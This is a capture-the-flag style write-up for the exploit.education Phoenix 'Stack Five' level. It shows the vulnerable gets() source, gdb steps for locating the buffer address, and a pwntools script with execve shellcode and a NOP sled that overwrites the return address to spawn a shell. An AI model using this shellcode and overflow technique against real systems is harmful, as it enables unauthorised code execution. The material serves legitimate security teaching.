Phoenix - Stack Five

2 minute read

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
  char buffer[128];
  gets(buffer);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

Here we don’t have any function to jump to but we have a buffer large enough to fit a shellcode.

The idea is to put our shellcode in buffer and return execution to it.

So we have to enter: (shellcode + junk to fill the buffer + 8 bytes for RBP + RIP with the address of the buffer).

When dealing with shellcode it’s a good idea to unset some environment variables that gdb adds them to jump to the right address.

$ gdb -q /opt/phoenix/amd64/stack-five
Reading symbols from /opt/phoenix/amd64/stack-five...(no debugging symbols found)...done.

gef➤  unset env LINES
gef➤  unset env COLUMNS
gef➤  disassemble start_level 
Dump of assembler code for function start_level:
   0x000000000040058d <+0>:	push   rbp
   0x000000000040058e <+1>:	mov    rbp,rsp
   0x0000000000400591 <+4>:	add    rsp,0xffffffffffffff80
   0x0000000000400595 <+8>:	lea    rax,[rbp-0x80]
   0x0000000000400599 <+12>:	mov    rdi,rax
   0x000000000040059c <+15>:	call   0x4003f0 <gets@plt>
   0x00000000004005a1 <+20>:	nop
   0x00000000004005a2 <+21>:	leave  
   0x00000000004005a3 <+22>:	ret    

Buffer size if 0x80 = 128 bytes.

Now we put a breakpoint at gets function to get the address of buffer.

gef➤  b *0x000000000040059c
Breakpoint 1 at 0x40059c

gef➤  r
Starting program: /opt/phoenix/amd64/stack-five 
Welcome to phoenix/stack-five, brought to you by https://exploit.education

Breakpoint 1, 0x000000000040059c in start_level ()

gef➤  print $rbp-0x80
$1 = (void *) 0x7fffffffe5d0

Buffer address at 0x7fffffffe5d0.

Now we have all the pieces to write the exploit.

You can find a lot of shellcode at http://shell-storm.org/shellcode.

It’s always good to add some NOP instructions before the shellcode to add some flexibility with the exact address of the buffer (NOP is no operation instruction, it does nothing so it’s useful to fill gaps).

# solve.py

from pwn import *

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

buff = ""
buff += '\x90'*30			# NOP Sled
buff += shellcode			# shellcode
buff += 'A'* (128 - len(buff))		# junk
buff += 'BBBBBBBB'			# RBP value
buff += p64(0x7fffffffe5d0)		# RIP value (buffer address)

print(buff)

Wee need to chain our script with cat command to avoid closing the input stream.

$ (python solve.py; cat) | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
whoami
phoenix-amd64-stack-five